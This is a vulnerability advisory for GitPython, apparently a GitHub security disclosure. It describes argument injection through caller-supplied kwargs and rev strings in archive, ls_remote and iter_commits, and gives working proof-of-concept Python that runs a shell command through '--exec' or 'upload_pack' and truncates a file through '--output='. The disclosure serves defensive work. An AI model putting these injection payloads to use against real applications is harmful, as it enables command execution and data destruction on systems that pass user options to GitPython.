GHSA-956x-8gvw-wg5v

## Summary

GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples

## Code analysis

Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage

repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix

Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after

## PoC

Released 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here).

``` pip install GitPython # 3.1.50 ```

Common setup for the three:

```python import io, os, tempfile, subprocess, git d = tempfile.mkdtemp() subprocess.run(['git','init','-q',d], check=True) subprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a', 'commit','-q','--allow-empty','-m','init'], check=True) repo = git.Repo(d) tmp = tempfile.gettempdir() ```

1. exec via archive (a service exports a repo and forwards the user's options dict):

```python m = os.path.join(tmp, 'gp_archive_check') try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m}) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ```

2. exec via ls_remote:

```python m = os.path.join(tmp, 'gp_lsremote_check') try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';') except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] marker present:', os.path.exists(m)) ``` ``` [*] Cmd('git') failed due to: exit code(128) [+] marker present: True ```

3. file clobber via a rev that looks like a ref:

```python v = os.path.join(tmp, 'release_notes.txt') open(v,'w').write('do not delete\n') print('[*] before:', repr(open(v).read())) try: list(repo.iter_commits('--output=' + v)) except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55]) print('[+] after :', repr(open(v).read()), '<- truncated') ``` ``` [*] before: 'do not delete\n' [*] Cmd('git') failed due to: exit code(129) [+] after : '' <- truncated ```